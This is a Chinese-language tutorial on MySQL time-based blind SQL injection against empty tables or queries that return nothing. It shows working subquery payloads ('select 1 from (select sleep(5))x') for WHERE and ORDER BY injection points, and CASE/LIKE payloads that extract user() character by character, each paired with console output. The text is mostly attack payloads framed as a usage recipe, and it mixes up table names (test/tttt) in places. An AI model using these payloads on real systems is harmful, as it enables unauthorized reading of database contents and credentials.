0x00 概要
有的时候,你发现注入了
但是因为这个注入点的数据表没有数据 / 前面加了where条件导致返回的数据为空
而无法注入,那么这个时候这个方法就可以 构造子查询 来进行延迟注入
0x01 测试数据
mysql> select user();+----------------+| user() |+----------------+| root@localhost |+----------------+1 row in set (0.00 sec)
例如测试表:tttt 没有数据
mysql> select * from test;+----+| id |+----+| |+----+Empty set (0.00 sec)
0x02 普通注入测试
# 可以发现数据并没有发生延迟,因为数据表没有数据mysql> select * from test where id=1 or sleep(5);Empty set (0.00 sec)mysql> select * from test order by sleep(5);Empty set (0.00 sec)
0x03 测试-构造子查询进行注入
# 例如注入点发生在 where 处# 即使 test 表没有数据也成功延迟了mysql> select * from test where id=1 and (select 1 from (select sleep(5))x);Empty set (5.00 sec)
# 例如注入点发生在 order by 处# 即使 tttt 表没有数据也成功延迟了mysql> select * from test order by id (select 1 from (select sleep(5))x);Empty set (5.00 sec)
0x04 注入点 order by 处构造子查询延迟注入出 user()
user() = root@localhost
使用方式:select from test ORDER BY id-(select 1 from (select case when (*payload like ‘r%’) then 1 else sleep(2) end)x);
# 对的情况# 页面会很快的返回数据# 说明 user() 第1-4位字符为 rootmysql> select * from test ORDER BY id-(select 1 from (select case when (user() like 'root%') then 1 else sleep(2) end)x);Empty set (0.00 sec)
# 错误的情况# 页面会延迟2秒mysql> select * from test ORDER BY id-(select 1 from (select case when (user() like 'aaaa%') then 1 else sleep(2) end)x);Empty set (2.00 sec)
0x05 注入点 where 处构造子查询延迟注入出 user()
user() = root@localhost
使用方式:select from test WHERE id=1 and (select 1 from (select case when (*payload like ‘r%’) then 1 else sleep(2) end)x);
# 对的情况# 页面会很快的返回数据# 说明 user() 第1-4位字符为 rootmysql> select * from test where id=1 and (select 1 from (select case when (user() like 'root%') then 1 else sleep(2) end)x);Empty set (0.00 sec)
# 错误的情况# 页面会延迟2秒mysql> select * from tttt where id=1 and (select 1 from (select case when (user() like 'aaaa%') then 1 else sleep(2) end)x);Empty set (2.00 sec)
